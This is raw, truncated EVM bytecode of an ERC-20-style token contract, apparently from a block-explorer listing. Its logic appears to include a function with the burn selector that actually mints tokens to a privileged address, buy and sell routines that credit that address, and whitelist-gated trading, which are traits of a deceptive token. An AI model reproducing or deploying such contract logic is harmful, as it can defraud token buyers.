5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061188d5750600b5f9054906101000a900460ff1615801561188c5750600b60019054906101000a900460ff165b5b8061194e5750600b5f9054906101000a900460ff1680156118f45750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561194d575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806119b2575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156119b157505f600a54145b5b6119f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e890613258565b60405180910390fd5b5f3411611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a90613556565b60405180910390fd5b5f3490505f6009541115611ce1575f611a6a6064611a5c60095485612be590919063ffffffff16565b612c5c90919063ffffffff16565b90505f611a808284612cb390919063ffffffff16565b9050611af38160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bd39190612f61565b60405180910390a35f821115611cda57611c338260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cd19190612f61565b60405180910390a35b5050611e3b565b611d528160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e329190612f61565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611ea25750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611ed15750600b5f9054906101000a900460ff16158015611ed05750600b60019054906101000a900460ff165b5b80611f925750600b5f9054906101000a900460ff168015611f385750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611f91575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611ff6575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611ff557505f600a54145b5b612035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202c90613258565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561207e575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036120b5575f80fd5b6121058360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121968360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122349190612f61565b60405180910390a3600191505092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806122ee5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061231d5750600b5f9054906101000a900460ff1615801561231c5750600b60019054906101000a900460ff165b5b806123de5750600b5f9054906101000a900460ff1680156123845750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156123dd575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612442575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561244157505f600a54145b5b612481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247890613258565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612501576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f8906135be565b60405180910390fd5b600b60019054906101000a900460ff1615612901575f808390505f600a54118015612579575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156125cc5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612611576125f960646125eb600a5487612be590919063ffffffff16565b612c5c90919063ffffffff16565b915061260e8285612cb390919063ffffffff16565b90505b6126618460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506127138160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516127f39190612f61565b60405180910390a35f8211156128fa576128538260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128f19190612f61565b60405180910390a35b5050612aec565b6129518260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612a038260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ae39190612f61565b60405180910390a35b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612b27575f80fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612bf5575f9050612c56565b5f8284612c029190613609565b9050828482612c119190613677565b14612c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c48906136f1565b60405180910390fd5b809150505b92915050565b5f808211612c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c96906136f1565b60405180910390fd5b8183612cab9190613677565b905092915050565b5f82821115612cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cee906136f1565b60405180910390fd5b8183612d03919061370f565b905092915050565b5f808284612d199190613742565b905083811015612d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d55906136f1565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612d9f578082015181840152602081019050612d84565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612dc482612d68565b612dce8185612d72565b9350612dde818560208601612d82565b612de781612daa565b840191505092915050565b5f6020820190508181035f830152612e0a8184612dba565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e3f82612e16565b9050919050565b612e4f81612e35565b8114612e59575f80fd5b50565b5f81359050612e6a81612e46565b92915050565b5f819050919050565b612e8281612e70565b8114612e8c575f80fd5b50565b5f81359050612e9d81612e79565b92915050565b5f8060408385031215612eb957612eb8612e12565b5b5f612ec685828601612e5c565b9250506020612ed785828601612e8f565b9150509250929050565b5f8115159050919050565b612ef581612ee1565b82525050565b5f602082019050612f0e5f830184612eec565b92915050565b5f8060408385031215612f2a57612f29612e12565b5b5f612f3785828601612e8f565b9250506020612f4885828601612e8f565b9150509250929050565b612f5b81612e70565b82525050565b5f602082019050612f745f830184612f52565b92915050565b5f805f60608486031215612f9157612f90612e12565b5b5f612f9e86828701612e5c565b9350506020612faf86828701612e5c565b9250506040612fc086828701612e8f565b9150509250925092565b5f60ff82169050919050565b612fdf81612fca565b82525050565b5f602082019050612ff85f830184612fd6565b92915050565b5f6020828403121561301357613012612e12565b5b5f61302084828501612e5c565b91505092915050565b61303281612e35565b82525050565b5f60208201905061304b5f830184613029565b92915050565b5f806040838503121561306757613066612e12565b5b5f61307485828601612e5c565b925050602061308585828601612e5c565b9150509250929050565b5f602082840312156130a4576130a3612e12565b5b5f6130b184828501612e8f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806130fe57607f821691505b602082108103613111576131106130ba565b5b50919050565b7f5a65726f206665657320666f72657665720000000000000000000000000000005f82015250565b5f61314b601183612d72565b915061315682613117565b602082019050919050565b5f6020820190508181035f8301526131788161313f565b9050919050565b7f5a65726f000000000000000000000000000000000000000000000000000000005f82015250565b5f6131b3600483612d72565b91506131be8261317f565b602082019050919050565b5f6020820190508181035f8301526131e0816131a7565b9050919050565b5f6040820190506131fa5f830185612f52565b6132076020830184612f52565b9392505050565b7f5a65726f206665657320666f72657665722e00000000000000000000000000005f82015250565b5f613242601283612d72565b915061324d8261320e565b602082019050919050565b5f6020820190508181035f83015261326f81613236565b9050919050565b7f416d6f756e7420686967686572207a65726f00000000000000000000000000005f82015250565b5f6132aa601283612d72565b91506132b582613276565b602082019050919050565b5f6020820190508181035f8301526132d78161329e565b9050919050565b7f47726561746572207468616e207a65726f0000000000000000000000000000005f82015250565b5f613312601183612d72565b915061331d826132de565b602082019050919050565b5f6020820190508181035f83015261333f81613306565b9050919050565b7f486967686572207468616e205a65726f000000000000000000000000000000005f82015250565b5f61337a601083612d72565b915061338582613346565b602082019050919050565b5f6020820190508181035f8301526133a78161336e565b9050919050565b7f5a65726f20666f726576657200000000000000000000000000000000000000005f82015250565b5f6133e2600c83612d72565b91506133ed826133ae565b602082019050919050565b5f6020820190508181035f83015261340f816133d6565b9050919050565b7f4e6f20696e707574206e656564656400000000000000000000000000000000005f82015250565b5f61344a600f83612d72565b915061345582613416565b602082019050919050565b5f6020820190508181035f8301526134778161343e565b9050919050565b7f476f6e6520666f726576657200000000000000000000000000000000000000005f82015250565b5f6134b2600c83612d72565b91506134bd8261347e565b602082019050919050565b5f6020820190508181035f8301526134df816134a6565b9050919050565b7f4d757374206265206120686967686572206e756d626572207468616e207a65725f8201527f6f00000000000000000000000000000000000000000000000000000000000000602082015250565b5f613540602183612d72565b915061354b826134e6565b604082019050919050565b5f6020820190508181035f83015261356d81613534565b9050919050565b7f4e6f7420656e6f7567682066756e6473000000000000000000000000000000005f82015250565b5f6135a8601083612d72565b91506135b382613574565b602082019050919050565b5f6020820190508181035f8301526135d58161359c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61361382612e70565b915061361e83612e70565b925082820261362c81612e70565b91508282048414831517613643576136426135dc565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61368182612e70565b915061368c83612e70565b92508261369c5761369b61364a565b5b828204905092915050565b7f4e6f74206e6565646564000000000000000000000000000000000000000000005f82015250565b5f6136db600a83612d72565b91506136e6826136a7565b602082019050919050565b5f6020820190508181035f830152613708816136cf565b9050919050565b5f61371982612e70565b915061372483612e70565b925082820390508181111561373c5761373b6135dc565b5b92915050565b5f61374c82612e70565b915061375783612e70565b925082820190508082111561376f5761376e6135dc565b5b9291505056fea2646970667358221220285d7da39277f55cdb9a91e839324f12bf4449d5cc66d722af966f233a9e0e9c64736f6c63430008150033000000000000000000000000e8b1da05a6c0beaa9f78aa2d5ec7025b1e9ef7c900000025179157c93ec73e23fa32aa4f9d3bda934d8ee69fffffffffffffffff

Deployed Bytecode

0x60806040526004361061014a575f3560e01c806364bcf5f4116100b5578063a6f2ae3a1161006e578063a6f2ae3a14610460578063a9059cbb1461046a578063c31c9c07146104a6578063dd62ed3e146104d0578063e4849b321461050c578063f2fde38b146105345761014a565b806364bcf5f41461036657806370a0823114610390578063715018a6146103cc5780638da5cb5b146103e257806395d89b411461040c578063a64e4f8a146104365761014a565b80632b14ca56116101075780632b14ca561461026c578063313ce567146102965780633f4218e0146102c057806344df8e70146102fc578063470624021461031257806347b5dd541461033c5761014a565b806306fdde031461014e578063095ea7b3146101785780630b78f9c0146101b457806318160ddd146101dc57806323b872dd1461020657806325e0e4d014610242575b5f80fd5b348015610159575f80fd5b5061016261055c565b60405161016f9190612df2565b60405180910390f35b348015610183575f80fd5b5061019e60048036038101906101999190612ea3565b6105e7565b6040516101ab9190612efb565b60405180910390f35b3480156101bf575f80fd5b506101da60048036038101906101d59190612f14565b6106d4565b005b3480156101e7575f80fd5b506101f0610828565b6040516101fd9190612f61565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190612f7a565b61082e565b6040516102399190612efb565b60405180910390f35b34801561024d575f80fd5b5061025661137a565b6040516102639190612efb565b60405180910390f35b348015610277575f80fd5b5061028061138c565b60405161028d9190612f61565b60405180910390f35b3480156102a1575f80fd5b506102aa611392565b6040516102b79190612fe5565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612ffe565b6113a4565b6040516102f39190612efb565b60405180910390f35b348015610307575f80fd5b506103106113c1565b005b34801561031d575f80fd5b50610326611647565b6040516103339190612f61565b60405180910390f35b348015610347575f80fd5b5061035061164d565b60405161035d9190612f61565b60405180910390f35b348015610371575f80fd5b5061037a611653565b6040516103879190612efb565b60405180910390f35b34801561039b575f80fd5b506103b660048036038101906103b19190612ffe565b611666565b6040516103c39190612f61565b60405180910390f35b3480156103d7575f80fd5b506103e061167b565b005b3480156103ed575f80fd5b506103f6611738565b6040516104039190613038565b60405180910390f35b348015610417575f80fd5b5061042061175d565b60405161042d9190612df2565b60405180910390f35b348015610441575f80fd5b5061044a6117e9565b6040516104579190612efb565b60405180910390f35b6104686117fc565b005b348015610475575f80fd5b50610490600480360381019061048b9190612ea3565b611e3f565b60405161049d9190612efb565b60405180910390f35b3480156104b1575f80fd5b506104ba612247565b6040516104c79190613038565b60405180910390f35b3480156104db575f80fd5b506104f660048036038101906104f19190613051565b61226c565b6040516105039190612f61565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d919061308f565b61228c565b005b34801561053f575f80fd5b5061055a60048036038101906105559190612ffe565b612af0565b005b5f8054610568906130e7565b80601f0160208091040260200160405190810160405280929190818152602001828054610594906130e7565b80156105df5780601f106105b6576101008083540402835291602001916105df565b820191905f5260205f20905b8154815290600101906020018083116105c257829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106c29190612f61565b60405180910390a36001905092915050565b600b5f9054906101000a900460ff1615610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071a90613161565b60405180910390fd5b5f8214610765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075c906131c9565b60405180910390fd5b606381146107a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079f906131c9565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161081c9291906131e7565b60405180910390a15050565b60025481565b5f83600b60029054906101000a900460ff16806108915750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806108c05750600b5f9054906101000a900460ff161580156108bf5750600b60019054906101000a900460ff165b5b806109815750600b5f9054906101000a900460ff1680156109275750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015610980575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806109e5575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156109e457505f600a54145b5b610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90613258565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9b906132c0565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690613328565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610bcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc490613390565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610bef57505f600a54115b8015610c48575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610c9b5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610ce057610cc86064610cba600a5488612be590919063ffffffff16565b612c5c90919063ffffffff16565b9150610cdd8286612cb390919063ffffffff16565b90505b610d308560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610dc18160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e5f9190612f61565b60405180910390a35f8211156110ae575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610fb557610f0a8360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fa89190612f61565b60405180910390a36110ac565b6110058360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110a39190612f61565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561118257507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561136c576112128560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cb390919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516113639190612f61565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b600b5f9054906101000a900460ff1661140f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611406906133f8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590613460565b60405180910390fd5b5f600854116114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d9906134c8565b60405180910390fd5b6114f9600854600254612d0b90919063ffffffff16565b60028190555061157260085460045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688560085460405161163d9190612f61565b60405180910390a2565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461176a906130e7565b80601f0160208091040260200160405190810160405280929190818152602001828054611796906130e7565b80156117e15780601f106117b8576101008083540402835291602001916117e1565b820191905f5260205f20905b8154815290600101906020018083116117c457829003601f168201915b505050505081565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff168061185e5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061188d5750600b5f9054906101000a900460ff1615801561188c5750600b60019054906101000a900460ff165b5b8061194e5750600b5f9054906101000a900460ff1680156118f45750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561194d575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806119b2575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156119b157505f600a54145b5b6119f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e890613258565b60405180910390fd5b5f3411611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a90613556565b60405180910390fd5b5f3490505f6009541115611ce1575f611a6a6064611a5c60095485612be590919063ffffffff16565b612c5c90919063ffffffff16565b90505f611a808284612cb390919063ffffffff16565b9050611af38160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bd39190612f61565b60405180910390a35f821115611cda57611c338260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cd19190612f61565b60405180910390a35b5050611e3b565b611d528160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d0b90919063ffffffff16565b60045f60075f